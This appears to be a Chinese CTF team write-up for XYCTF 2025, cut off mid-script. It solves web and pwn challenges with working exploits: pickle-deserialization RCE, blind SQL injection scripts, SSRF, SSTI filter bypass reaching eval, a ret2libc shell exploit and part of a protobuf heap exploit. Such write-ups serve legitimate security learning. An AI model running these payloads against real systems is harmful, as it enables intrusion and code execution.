2025xyctf wp

collectcrop Lv3

一、战队信息

战队名称:Initialization

战队排名:12

二、解题情况

三、解题过程

web-Signin

直接看代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# -*- encoding: utf-8 -*-
'''
@File : main.py
@Time : 2025/03/28 22:20:49
@Author : LamentXU
'''
'''
flag in /flag_{uuid4}
'''
from bottle import Bottle, request, response, redirect, static_file, run, route
with open('../../secret.txt', 'r') as f:
secret = f.read()

app = Bottle()
@route('/')
def index():
return '''HI'''
@route('/download')
def download():
name = request.query.filename
if '../../' in name or name.startswith('/') or name.startswith('../') or '\\' in name:
response.status = 403
return 'Forbidden'
with open(name, 'rb') as f:
data = f.read()
return data

@route('/secret')
def secret_page():
try:
session = request.get_cookie("name", secret=secret)
if not session or session["name"] == "guest":
session = {"name": "guest"}
response.set_cookie("name", session, secret=secret)
return 'Forbidden!'
if session["name"] == "admin":
return 'The secret has been deleted!'
except:
return "Error!"
run(host='0.0.0.0', port=8080, debug=False)



提示了一个secret文件,/download路由能读取文件内容,但是有一定过滤,/secret路由看上去是生成cookie和检查cookie用的,/根目录 ./当前目录 ../上一级目录,这里我们穿插使用./.././../secret.txt能够绕过waf,读取到secret的内容

Hell0_H@cker_Y0u_A3r_Sm@r7然后看/secret路由,我们通过模块bottle看看get_cookie和set_cookie的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
def set_cookie(self, name, value, secret=None, digestmod=hashlib.sha256, **options):
if not self._cookies:
self._cookies = SimpleCookie()

# Monkey-patch Cookie lib to support 'SameSite' parameter
# https://tools.ietf.org/html/draft-west-first-party-cookies-07#section-4.1
if py < (3, 8, 0):
Morsel._reserved.setdefault('samesite', 'SameSite')

if secret:
if not isinstance(value, basestring):
depr(0, 13, "Pickling of arbitrary objects into cookies is "
"deprecated.", "Only store strings in cookies. "
"JSON strings are fine, too.")
encoded = base64.b64encode(pickle.dumps([name, value], -1))
sig = base64.b64encode(hmac.new(tob(secret), encoded,
digestmod=digestmod).digest())
value = touni(tob('!') + sig + tob('?') + encoded)
elif not isinstance(value, basestring):
raise TypeError('Secret key required for non-string cookies.')

# Cookie size plus options must not exceed 4kb.
if len(name) + len(value) > 3800:
raise ValueError('Content does not fit into a cookie.')

self._cookies[name] = value

for key, value in options.items():
if key in ('max_age', 'maxage'): # 'maxage' variant added in 0.13
key = 'max-age'
if isinstance(value, timedelta):
value = value.seconds + value.days * 24 * 3600
if key == 'expires':
value = http_date(value)
if key in ('same_site', 'samesite'): # 'samesite' variant added in 0.13
key, value = 'samesite', (value or "none").lower()
if value not in ('lax', 'strict', 'none'):
raise CookieError("Invalid value for SameSite")
if key in ('secure', 'httponly') and not value:
continue
self._cookies[name][key] = value

能够看到set_cookie对name和value进行了pickle序列化,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def get_cookie(self, key, default=None, secret=None, digestmod=hashlib.sha256):
""" Return the content of a cookie. To read a `Signed Cookie`, the
`secret` must match the one used to create the cookie (see
:meth:`BaseResponse.set_cookie`). If anything goes wrong (missing
cookie or wrong signature), return a default value. """
value = self.cookies.get(key)
if secret:
# See BaseResponse.set_cookie for details on signed cookies.
if value and value.startswith('!') and '?' in value:
sig, msg = map(tob, value[1:].split('?', 1))
hash = hmac.new(tob(secret), msg, digestmod=digestmod).digest()
if _lscmp(sig, base64.b64encode(hash)):
dst = pickle.loads(base64.b64decode(msg))
if dst and dst[0] == key:
return dst[1]
return default
return value or default

而get_cookie对数据进行了pickle反序列化,我们打pickle反序列化的__reduce__重写漏洞https://blog.51cto.com/u_12205/8710727参考这篇文章

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# -*- encoding: utf-8 -*-
'''
@File : main.py
@Time : 2025/03/28 22:20:49
@Author : LamentXU
'''
'''
flag in /flag_{uuid4}
'''
from bottle import Bottle, request, response, redirect, static_file, run, route
import pickle
class People(object):
def __reduce__(self):
return (eval, ("__import__('os').system('ls />app.py')",))
app = Bottle()
@route('/secret')
def secret_page():
a = People()
session = {"name": a}
response.set_cookie("name", session, secret="Hell0_H@cker_Y0u_A3r_Sm@r7")
run(host='127.0.0.1', port=8088, debug=False)



在本地开一个用来生成cookie,将命令内容输出到app.py用/download界面查看

直接读就行

flag{We1c0me_t0_XYCTF_2o25!The_secret_1s_L@men7XU_L0v3_u!}

web-ezsql(手动滑稽)

进入为一个登录界面,由题目知为sql,进行测试,在username处注入,测试得到过滤了空格,union,逗号,于是放弃常规注入,但是查询失败会回显账号或密码错误用的<strong>表情包裹,选择布尔盲注,使用%09绕过空格,substr(database()%09from%091%09for%091)=“x”用于判断,下面是爆破脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests
from urllib.parse import unquote
url="http://eci-2ze9y7npewuaazcmbwx0.cloudeci1.ichunqiu.com//login.php"
for i in range(6):
for j in range(32,128):
temp="1'%09or%09ascii(substr(database()%09from%09"+str(i+1)+"%09for%091))="+str(j)+"#"
temp=unquote(temp)
payload={"username":temp,
"password":1
}
response=requests.post(url,data=payload)#爆库名
if "<strong>" not in response.text:
#print(response.text)
print(chr(j),end="")
1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests
from urllib.parse import unquote
url="http://eci-2ze9y7npewuaazcmbwx0.cloudeci1.ichunqiu.com//login.php"
for i in range(100):
for j in range(32,128):
temp="1'%09or%09ascii(substr((select%09group_concat(secret)%09from%09double_check)%09from%09"+str(i+1)+"%09for%091))="+str(j)+"#" #调整内部内容即可爆破表名、字段、内容
temp=unquote(temp)
payload={"username":temp,
"password":1
}
response=requests.post(url,data=payload)
if "<strong>" not in response.text:
#print(response.text)
print(chr(j),end="")

最终得到的信息有:

库名testdb 表 double_check,user 字段secret,username,password 内容password:zhonghengyisheng username:yudeyoushang secret:dtfrtkcc0czkoua9S

我们拿着这个信息登录

进入到一个无回显的命令执行页面,测试发现过滤了空格,用${IFS}\(9绕过,用>将内容写入新页面`ls\){IFS}$9/>1.txt`

cat${IFS}$9/f*>2.txt

XYCTF{ea54fff6-d3db-4055-95b4-6b13330d5b02}

web-fate

直接看附件,定义了很多函数和路由,我这里的思路是先看看怎么走到db_search(),既然有过滤,说明需要过去,if flask.request.remote_addr == '127.0.0.1':需要我们以本地IP访问才能够进入/1337路由,这里又看向/proxy路由,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
@app.route('/proxy', methods=['GET'])
def nolettersproxy():
url = flask.request.args.get('url')
if not url:
return flask.abort(400, 'No URL provided')

target_url = "http://lamentxu.top" + url
for i in blacklist:
if i in url:
return flask.abort(403, 'I blacklist the whole alphabet, hiahiahiahiahiahiahia~~~~~~')
if "." in url:
return flask.abort(403, 'No ssrf allowed')
response = requests.get(target_url)

return flask.Response(response.content, response.status_code)
def db_search(code):
with sqlite3.connect('database.db') as conn:
cur = conn.cursor()
cur.execute(f"SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{code}')))))))")
found = cur.fetchone()
return None if found is None else found[0]

能够get传入url拼接在http://lamentxu.top的后面,有黑名单检测,内容为所有字母,并且过滤了点号,这里考虑SSRF,使用@能重定向为我们传入的url,我们想要ip为本地(127.0.0.1),这里使用连续十进制绕过,也就是2130706433,端口为8080

看到这个返回结果也是确定自己访问成功了,下一步是传入0的参数,值为abcdefghi,但是传入的url不能有字母,我们考虑到SSRF会进行1次url解码,我们用bp传会自动url解码1次,固2次url编码即可绕过,

到了传json数据的那一步,我们要把name为键名的数据进行json序列化再转化为二进制传入,这里我写了一个脚本便于实现(脚本里已经写了payload,下文解释)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import json
str={"name":{"))))))) union select group_concat(FATE) FROM FATETABLE--+":"1"}}
#str={"name":["LAMENTXU"]}
b=json.dumps(str)
print(b)
def string_to_binary(input_string):
# 将每个字符转换为其 ASCII 值的二进制表示,并确保每个二进制字符串长度为 8
binary_chunks = [format(ord(char), '08b') for char in input_string]
# 将所有二进制字符串连接在一起
binary_string = ''.join(binary_chunks)
return binary_string
def binary_to_string(binary_string):
if len(binary_string) % 8 != 0:
raise ValueError("Binary string length must be a multiple of 8")
binary_chunks = [binary_string[i:i + 8] for i in range(0, len(binary_string), 8)]
string_output = ''.join(chr(int(chunk, 2)) for chunk in binary_chunks)

return string_output
a=string_to_binary(b)
print(string_to_binary(b))
print(binary_to_string(a))
print(json.loads(b))

看到源代码用len(name)限制了长度,不让我们直接查询LAMENTXU的FATE值(这些fate值在init_db.py里),但是如果我们构造{"name":{"123":"123"}}字典嵌套字典,会发现len的计数只有1,但是我们传入的LAMENTXU是无法被使用的,因为具有其他字符以及大括号,那我们考虑闭合引号和右括号,由于我们name的值是一个字典,所有对引号和右括号的过滤是无效的,

{"name":{"))))))) or 1=1--+":"1"}}我用这个字符串进行测试,传入后发现成功执行了SQL语句,用order by发现列数为1,由此得到payload为{"name":{"))))))) union select group_concat(FATE) FROM FATETABLE--+":"1"}}

/proxy?url=@2130706433:8080/1337?0=%61%62%63%64%65%66%67%68%69&1=01111011001000100110111001100001011011010110010100100010001110100010000001111011001000100010100100101001001010010010100100101001001010010010100100100000011101010110111001101001011011110110111000100000011100110110010101101100011001010110001101110100001000000110011101110010011011110111010101110000010111110110001101101111011011100110001101100001011101000010100001000110010000010101010001000101001010010010000001000110010100100100111101001101001000000100011001000001010101000100010101010100010000010100001001001100010001010010110100101101001010110010001000111010001000000010001000110001001000100111110101111101(二进制的序列号字符串,图片为url编码后)

flag{Do4t_bElIevE_in_FatE_Y1s_Y0u_2_a_Js0n_ge1nus!}

web-Now you see me 1

审计给的代码,一堆helloworld,但是其中藏了真代码,是base64编码的,解码下来看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
import flask
import sys
enable_hook = False
counter = 0
def audit_checker(event,args):
global counter
if enable_hook:
if event in ["exec", "compile"]:
counter += 1
if counter > 4:
raise RuntimeError(event)

lock_within = [
"debug", "form", "args", "values",
"headers", "json", "stream", "environ",
"files", "method", "cookies", "application",
'data', 'url' ,'\'', '"',
"getattr", "_", "{{", "}}",
"[", "]", "\\", "/","self",
"lipsum", "cycler", "joiner", "namespace",
"init", "dir", "join", "decode",
"batch", "first", "last" ,
" ","dict","list","g.",
"os", "subprocess",
"g|a", "GLOBALS", "lower", "upper",
"BUILTINS", "select", "WHOAMI", "path",
"os", "popen", "cat", "nl", "app", "setattr", "translate",
"sort", "base64", "encode", "\\u", "pop", "referer",
"The closer you see, the lesser you find."]
# I hate all these.
app = flask.Flask(__name__)
@app.route('/')
def index():
return 'try /H3dden_route'
@app.route('/H3dden_route')
def r3al_ins1de_th0ught():
global enable_hook, counter
name = flask.request.args.get('My_ins1de_w0r1d')
if name:
try:
if name.startswith("Follow-your-heart-"):
for i in lock_within:
if i in name:
return 'NOPE.'
enable_hook = True
a = flask.render_template_string('{#'+f'{name}'+'#}')
enable_hook = False
counter = 0
return a
else:
return 'My inside world is always hidden.'
except RuntimeError as e:
counter = 0
return 'NO.'
except Exception as e:
return 'Error'
else:
return 'Welcome to Hidden_route!'

if __name__ == '__main__':
import os
try:
import _posixsubprocess
del _posixsubprocess.fork_exec
except:
pass
import subprocess
del os.popen
del os.system
del subprocess.Popen
del subprocess.call
del subprocess.run
del subprocess.check_output
del subprocess.getoutput
del subprocess.check_call
del subprocess.getstatusoutput
del subprocess.PIPE
del subprocess.STDOUT
del subprocess.CalledProcessError
del subprocess.TimeoutExpired
del subprocess.SubprocessError
sys.addaudithook(audit_checker)
app.run(debug=False, host='0.0.0.0', port=5000)

可以看到过滤的内容是非常多的,flask,有渲染函数flask.render_template_string(''),考虑SSTI,这里把request能用的绕过禁了很多,get post cookie等都不行了,但是仍然有可用的,request.mimetype能获取Content-Type的内容,request.authorization.type和request.authorization.token能获取Authorization的内容,中间用空格隔开,request.origin能获取Origin的内容,request.referrer能获取Referrer的内容,这样我们可以去构造注入的payload,考虑寻找eval模块(os被删掉了)重新导入os,经过测试,直接传入?My_ins1de_w0r1d=Follow-your-heart-{%print(config)%}就能成功实现SSTI,所以就在里面构造我们想要的结构,这里对request.mimetype传入abcdefghijklmnopqrstuvwxyz_方便我们提取字符,(request.mimetype)|attr(request.origin)(),再对request.origin传入__getitem__括号里填入0即可提取字母a,于是有{'a':0,'b':1,'c':2,'d':3,'e':4,'f':5,'g':6,'h':7,'i':8,'j':9,'k':10,'l':11,'m':12,'n':13,'o':14,'p':15,'q':16,'r':17,'s':18,'t':19,'u':20,'v':21,'w':22,'x':23,'y':24,'z':25,'_':26}字符之间用~连接,于是我们得到

1
2
3
4
5
6
7
8
9
__class__:(request.mimetype)|attr(request.origin)(26)~(request.mimetype)|attr(request.origin)(26)~(request.mimetype)|attr(request.origin)(2)~(request.mimetype)|attr(request.origin)(11)~(request.mimetype)|attr(request.origin)(0)~(request.mimetype)|attr(request.origin)(18)~(request.mimetype)|attr(request.origin)(18)~(request.mimetype)|attr(request.origin)(26)~(request.mimetype)|attr(request.origin)(26)

__base__:(request.mimetype)|attr(request.origin)(26)~(request.mimetype)|attr(request.origin)(26)~(request.mimetype)|attr(request.origin)(1)~(request.mimetype)|attr(request.origin)(0)~(request.mimetype)|attr(request.origin)(18)~(request.mimetype)|attr(request.origin)(4)~(request.mimetype)|attr(request.origin)(26)~(request.mimetype)|attr(request.origin)(26)

__subclasses__:(request.mimetype)|attr(request.origin)(26)~(request.mimetype)|attr(request.origin)(26)~(request.mimetype)|attr(request.origin)(18)~(request.mimetype)|attr(request.origin)(20)~(request.mimetype)|attr(request.origin)(1)~(request.mimetype)|attr(request.origin)(2)~(request.mimetype)|attr(request.origin)(11)~(request.mimetype)|attr(request.origin)(0)~(request.mimetype)|attr(request.origin)(18)~(request.mimetype)|attr(request.origin)(18)~(request.mimetype)|attr(request.origin)(4)~(request.mimetype)|attr(request.origin)(18)~(request.mimetype)|attr(request.origin)(26)~(request.mimetype)|attr(request.origin)(26)

__init__:(request.mimetype)|attr(request.origin)(26)~(request.mimetype)|attr(request.origin)(26)~(request.mimetype)|attr(request.origin)(8)~(request.mimetype)|attr(request.origin)(13)~(request.mimetype)|attr(request.origin)(8)~(request.mimetype)|attr(request.origin)(19)~(request.mimetype)|attr(request.origin)(26)~(request.mimetype)|attr(request.origin)(26)

__globals__:(request.mimetype)|attr(request.origin)(26)~(request.mimetype)|attr(request.origin)(26)~(request.mimetype)|attr(request.origin)(6)~(request.mimetype)|attr(request.origin)(11)~(request.mimetype)|attr(request.origin)(14)~(request.mimetype)|attr(request.origin)(1)~(request.mimetype)|attr(request.origin)(0)~(request.mimetype)|attr(request.origin)(11)~(request.mimetype)|attr(request.origin)(18)~(request.mimetype)|attr(request.origin)(26)~(request.mimetype)|attr(request.origin)(26)

并且我们利用request.authorization.type传入__builtins__写脚本查找具有eval函数的模块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
# 使用 python 脚本 用于寻找序号
url = "http://eci-2zeblgk0r4vs0gptx806.cloudeci1.ichunqiu.com:8080/H3dden_route"
for i in range(500):
temp="Follow-your-heart-{%print(()|attr((request.mimetype)|attr(request.origin)(26)~(request.mimetype)|attr(request.origin)(26)~(request.mimetype)|attr(request.origin)(2)~(request.mimetype)|attr(request.origin)(11)~(request.mimetype)|attr(request.origin)(0)~(request.mimetype)|attr(request.origin)(18)~(request.mimetype)|attr(request.origin)(18)~(request.mimetype)|attr(request.origin)(26)~(request.mimetype)|attr(request.origin)(26))|attr((request.mimetype)|attr(request.origin)(26)~(request.mimetype)|attr(request.origin)(26)~(request.mimetype)|attr(request.origin)(1)~(request.mimetype)|attr(request.origin)(0)~(request.mimetype)|attr(request.origin)(18)~(request.mimetype)|attr(request.origin)(4)~(request.mimetype)|attr(request.origin)(26)~(request.mimetype)|attr(request.origin)(26))|attr((request.mimetype)|attr(request.origin)(26)~(request.mimetype)|attr(request.origin)(26)~(request.mimetype)|attr(request.origin)(18)~(request.mimetype)|attr(request.origin)(20)~(request.mimetype)|attr(request.origin)(1)~(request.mimetype)|attr(request.origin)(2)~(request.mimetype)|attr(request.origin)(11)~(request.mimetype)|attr(request.origin)(0)~(request.mimetype)|attr(request.origin)(18)~(request.mimetype)|attr(request.origin)(18)~(request.mimetype)|attr(request.origin)(4)~(request.mimetype)|attr(request.origin)(18)~(request.mimetype)|attr(request.origin)(26)~(request.mimetype)|attr(request.origin)(26))()|attr(request.origin)("+str(i)+")|attr((request.mimetype)|attr(request.origin)(26)~(request.mimetype)|attr(request.origin)(26)~(request.mimetype)|attr(request.origin)(8)~(request.mimetype)|attr(request.origin)(13)~(request.mimetype)|attr(request.origin)(8)~(request.mimetype)|attr(request.origin)(19)~(request.mimetype)|attr(request.origin)(26)~(request.mimetype)|attr(request.origin)(26))|attr((request.mimetype)|attr(request.origin)(26)~(request.mimetype)|attr(request.origin)(26)~(request.mimetype)|attr(request.origin)(6)~(request.mimetype)|attr(request.origin)(11)~(request.mimetype)|attr(request.origin)(14)~(request.mimetype)|attr(request.origin)(1)~(request.mimetype)|attr(request.origin)(0)~(request.mimetype)|attr(request.origin)(11)~(request.mimetype)|attr(request.origin)(18)~(request.mimetype)|attr(request.origin)(26)~(request.mimetype)|attr(request.origin)(26))|attr(request.origin)(request.authorization.type))%}"
header={
"Content-Type": "abcdefghijklmnopqrstuvwxyz_",
"Origin": '__getitem__',
"Authorization": "__builtins__"
}
data={"My_ins1de_w0r1d":temp}
try:
response = requests.get(url,params=data,headers=header)
#print(response.text)
if response.status_code == 200:
if 'eval' in response.text: #更改要查找的模块(引号内)
print(i)
except:
pass

我这里随便选了一个118,然后继续构造eval以及执行内容,用request.authorization.token传入eval,用request.referrer传入内容__import__('os').popen('ls /').read()这样可以读取到根目录的信息

但是我cat /f*却报错了,原来是文件太大没法读取,于是想利用服务器开一个端口用来让我下载文件,命令为cd / && python3 -m http.server 8088

1
2
3
4
5
6
7
8
9
10
11
import  requests
url="http://eci-2zeblgk0r4vs0gptx806.cloudeci1.ichunqiu.com/H3dden_route"
payload="Follow-your-heart-{%print(()|attr((request.mimetype)|attr(request.origin)(26)~(request.mimetype)|attr(request.origin)(26)~(request.mimetype)|attr(request.origin)(2)~(request.mimetype)|attr(request.origin)(11)~(request.mimetype)|attr(request.origin)(0)~(request.mimetype)|attr(request.origin)(18)~(request.mimetype)|attr(request.origin)(18)~(request.mimetype)|attr(request.origin)(26)~(request.mimetype)|attr(request.origin)(26))|attr((request.mimetype)|attr(request.origin)(26)~(request.mimetype)|attr(request.origin)(26)~(request.mimetype)|attr(request.origin)(1)~(request.mimetype)|attr(request.origin)(0)~(request.mimetype)|attr(request.origin)(18)~(request.mimetype)|attr(request.origin)(4)~(request.mimetype)|attr(request.origin)(26)~(request.mimetype)|attr(request.origin)(26))|attr((request.mimetype)|attr(request.origin)(26)~(request.mimetype)|attr(request.origin)(26)~(request.mimetype)|attr(request.origin)(18)~(request.mimetype)|attr(request.origin)(20)~(request.mimetype)|attr(request.origin)(1)~(request.mimetype)|attr(request.origin)(2)~(request.mimetype)|attr(request.origin)(11)~(request.mimetype)|attr(request.origin)(0)~(request.mimetype)|attr(request.origin)(18)~(request.mimetype)|attr(request.origin)(18)~(request.mimetype)|attr(request.origin)(4)~(request.mimetype)|attr(request.origin)(18)~(request.mimetype)|attr(request.origin)(26)~(request.mimetype)|attr(request.origin)(26))()|attr(request.origin)(118)|attr((request.mimetype)|attr(request.origin)(26)~(request.mimetype)|attr(request.origin)(26)~(request.mimetype)|attr(request.origin)(8)~(request.mimetype)|attr(request.origin)(13)~(request.mimetype)|attr(request.origin)(8)~(request.mimetype)|attr(request.origin)(19)~(request.mimetype)|attr(request.origin)(26)~(request.mimetype)|attr(request.origin)(26))|attr((request.mimetype)|attr(request.origin)(26)~(request.mimetype)|attr(request.origin)(26)~(request.mimetype)|attr(request.origin)(6)~(request.mimetype)|attr(request.origin)(11)~(request.mimetype)|attr(request.origin)(14)~(request.mimetype)|attr(request.origin)(1)~(request.mimetype)|attr(request.origin)(0)~(request.mimetype)|attr(request.origin)(11)~(request.mimetype)|attr(request.origin)(18)~(request.mimetype)|attr(request.origin)(26)~(request.mimetype)|attr(request.origin)(26))|attr(request.origin)(request.authorization.type)|attr(request.origin)(request.authorization.token)(request.referrer))%}"
data={"My_ins1de_w0r1d":payload}
header={
'Content-Type': 'abcdefghijklmnopqrstuvwxyz_',
'Origin': '__getitem__',
'Authorization': '__builtins__ eval',
'Referer': "__import__('os').popen('cd / && python3 -m http.server 8088').read()"
}
res=requests.get(url,params=data,headers=header)

下载flag_h3r3

得到flag为flag{N0w_y0u_sEEEEEEEEEEEEEEE_m3!!!!!!}

web-ez_puzzle

1.前端这种题找一圈也就只有这个js看起来很不一般的样子(真乱啊),那些解混淆工具也没成功。自己做的时候没找到有用的,还以为要从逻辑里找到恢复解压缩前面那坨c的类base64的东西。不过队里的其它师傅通过搜索if搜索审阅,硬是找到了这里可疑的变量yw4。后来想了想根据这个机制,搜索<或者>也可行

image-20250406230240750

2.控制台里面可以看到其值为2000,猜测就是限制2秒

image-20250406230902822

3.把限制时间改长,改成9999999999999999999999999,慢慢玩就是了

image-20250406231331209

flag值:flag{Y0u__aRe_a_mAsteR_of_PUzZL!!@!!~!}

pwn-Ret2libc's Revenge

这题我应该想复杂了,说是签到题,搞得非常麻烦,感觉是做过来偏难的题。首先最烦的是这个init函数设置标准输出是全缓冲,这直接导致我需要占满整个缓冲区才能在终端看到回显。这里我本地利用程序自带的输出先走53次就能使缓冲区临近溢出,而远程服务器需要214次才能快占满缓冲区。

主要的漏洞函数就是一个无限制的栈溢出,遇到换行符结束。需要注意的是,这里是一个字节一个字节读取,栈上有变量存当前读取下标,覆盖到该下标后就可以跳跃到返回地址进行覆盖。

麻烦的是如何泄露libc基址,这个程序里没有控rdi的gadget,而且动态调试时看到feof之后的寄存器状态也没有可利用的内容。我们需要想办法控制rdi为libc相关地址然后call puts来泄露libc基址。这里我采用的是下面两个gadget的组合。首先第一次溢出先覆盖rbp,然后返回到revenge函数,这样可以让我们读取内容到可控的地址,这里我选择的是覆盖rbp为0x404900,然后就能往可控的地址处读入函数的got表地址或者在bss段的FILE结构体地址。这样之后就可以通过处于0x401274的gadget来控制eax,之后再利用init函数中setvbuf传参控制rdi,之后就能回到puts函数泄露libc地址。这里能成功地关键在于setvbuf函数非法调用结束后不会改变rdi的内容,这里的成功率为50%,调用时会把rdi中相关的内容与0x8000进行按位与提取位,可能会进入别的分支导致程序直接崩溃。

有了libc基址后记得返回时不要回到main函数开头,不知道为什么再次调用init函数后,之后输入就会出现问题。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *
from time import sleep
context(arch='amd64', os='linux',log_level="debug")
context.terminal=["cmd.exe","/c", "start", "cmd.exe", "/c", "wsl.exe", "-e"]
main = 0x000000000040127B
puts_plt = 0x0000000000401070
call_puts = 0x0000000000401294
fgets_plt = 0x0000000000401080
feof_plt = 0x0000000000401090
setvbuf_plt = 0x00000000004010A0
mov_rdi_rsi = 0x0000000000401180
puts_got = 0x0000000000404018
stderr = 0x404080
magic = 0x00000000004011F0
revenge = 0x000000000040120E
pop_rbp_ret = 0x00000000004011FD

# p = process("./attachment")
p = remote("39.106.69.240",30802)
libc = ELF("./libc.so.6")

# 本地53次直接输出
for i in range(214):
payload = b""
payload = payload.ljust(0x218,b"\x00") + p32(0) + p32(0x220+5)
payload += p64(main)
p.sendline(payload)
sleep(0.1)


payload = b""
payload = payload.ljust(0x218,b"\x00") + p32(0) + p32(0x220+5)
payload += p64(pop_rbp_ret) + p64(0x404900) + p64(revenge)

p.sendline(payload)
sleep(0.5)

# gdb.attach(p)
# pause()

payload = p32(stderr)*6 + p64(mov_rdi_rsi) + p64(magic) + p64(0x404900) + p64(puts_plt) + p64(0x40128D) + p64(0x666)
payload = payload.ljust(0x218,b"\x00") + p32(0) + p32(0x220+5)
payload += p64(pop_rbp_ret) + p64(0x404900-0x220+0x10) + p64(0x401274)
p.sendline(payload)
sleep(0.5)


libc_base = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x21b6a0
log.success("libc_base: "+hex(libc_base))
system = libc_base + libc.symbols["system"]
pop_rdi_ret = libc_base + 0x000000000002a3e5
ret = libc_base + 0x0000000000029139
bin_sh = libc_base + 0x00000000001d8678

payload = b""
payload = payload.ljust(0x218,b"\x00") + p32(0) + p32(0x220+5)
payload += p64(ret) + p64(pop_rdi_ret) + p64(bin_sh) + p64(system)
p.sendline(payload)

p.interactive()

XYCTF{181826fe-77ab-4285-9c46-1c46fdbb93a2}

pwn-web苦手

一个web pwn题目,逻辑比较简单,但其实有点不像是pwn题。首先一开始会解析三个get参数。

然后看这里的主要逻辑,这里的hash函数是通过具体的加密特征得出的,问了ai可能是PBKDF2-HMAC-SHA1算法,然后有个函数会把加密后的内容保存到dk.dat文件,这个文件我们实际可以直接访问对应路由下载下来查看加密结果,这里的passwd_re实际re代表register,不能小于63字节。

后面的passwd_lo就相当于login了,会把读入的内容同样加密后和之前注册的进行比较,不能大于63字节。成功后就能够传出filename参数,读取filename.dat文件内容了。

这里一开始我想的是进行爆破相同的hash值,但后来发现比较用的是strncmp,可以被截断,那我们直接爆破hash后首位为的长短两个密码即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import hashlib
from itertools import product
def pbkdf2_once(password, salt="XYCTF", iterations=1, dklen=32):
"""使用 PBKDF2-HMAC 进行多次迭代计算"""
return hashlib.pbkdf2_hmac('sha1', password.encode(), salt.encode(), iterations, dklen)

# 目标 hash(先手动运行一次,得到 32 字节的 hash 进行验证算法是否正确)
# target_hash = pbkdf2_once("A"*64)
# print(f"Target hash: {target_hash.hex()}")
def find_matching_long_password():
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
for length in range(64,70):
for pwd in product(charset, repeat=length):
pwd = "".join(pwd)
if pbkdf2_once(pwd)[0] == 0:
print(f"Found matching long password: {pwd}")
break

def find_matching_short_password():
# 尝试爆破短密码
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
for length in range(1, 64):
for pwd in product(charset, repeat=length):
pwd = "".join(pwd)
if pbkdf2_once(pwd)[0] == 0:
print(f"Found matching password: {pwd}")
break

find_matching_long_password()
find_matching_short_password()

然后可以去读文件,但是服务器上flag.dat里是fake_flag,这里注意到snprintf(file, 0x10uLL, "/%s.dat", filename);有长度限制,可以通过加长filename来最后截断.dat后缀,最终读../../..//flag即可。

XYCTF{837f56a3-160b-4fad-94ac-037166e2635d}

pwn-bot

一个经典的protobuf题,首先去手动逆proto结构体,这题里有两个。

逆出来的结果如下,protobuf相关内容可见我博客

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
syntax = "proto2";

message Message_request{
required int32 id = 1;
required string sender = 2;
required uint32 len = 3;
required bytes content = 4;
required int32 actionid = 5;
}

message Message_response{
required int32 id = 1;
required string receiver = 2;
required int32 status_code = 3;
optional string error_message = 4;
}

为了美观起见,这里我们在IDA中设置这两个结构体,然后把对应类型的变量改为我们自定义的结构体类型,好看一点。

主要功能一共有3个,其中我们要用到的只有action 1和2,0只是把我们输入的内容打印一遍(这里说不定可以劫持puts_got为system,但我没试)。其中action 1中会复制内容到我们指定id的chunk中,这里我们要先看一下这个堆块申请的逻辑。实际上申请的这个堆块分为管理块和数据块。管理块data域第一个是返回地址,而data域第二个内容就是指向数据块的data域。

由于在实际交互之前也alloc了2次,这里我们可以看前两堆块。

这里我们的1号功能实际上可以进行堆溢出改写。比如我可以指定id为0,然后溢出覆盖id为1的管理块的数据域指针。

2号功能可以打印出指定id管理块数据域指针指向的内容,最多使用2次。

那么我们可以先溢出部分覆盖1号管理块的数据域指针,使其指向0号管理块的返回地址(也就是libc相关地址),这里要覆盖两个字节,1/16概率,本地可以先关aslr进行调试。然后用2号功能得到libc基址。之后可以再次改写1号块的数据域指针为environ来泄露栈相关地址。

最后我们把1号块的数据域指针覆盖成栈上的返回地址,注意是进入cp具体memcpy实现函数的返回地址,因为我们实际上前面覆盖时把1号块的返回地址覆盖了,最后release时会检测到直接退出程序。然后对1号块调用1号功能就可以覆盖返回地址了,执行我们的rop链。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
from pwn import *
import message_pb2
context(arch='amd64', os='linux',log_level="debug")
context.terminal=["cmd.exe","/c", "start", "cmd.exe", "/c", "wsl.exe", "-e"]

# p = process("./bot")
p = remote("47.94.15.198",20531)
libc = ELF("./libc.so.6")

def echo(sender,content,id=1,len=1):
req = message_pb2.Message_request() #创建结构体
#各字段赋值
req.id = id
req.len = len
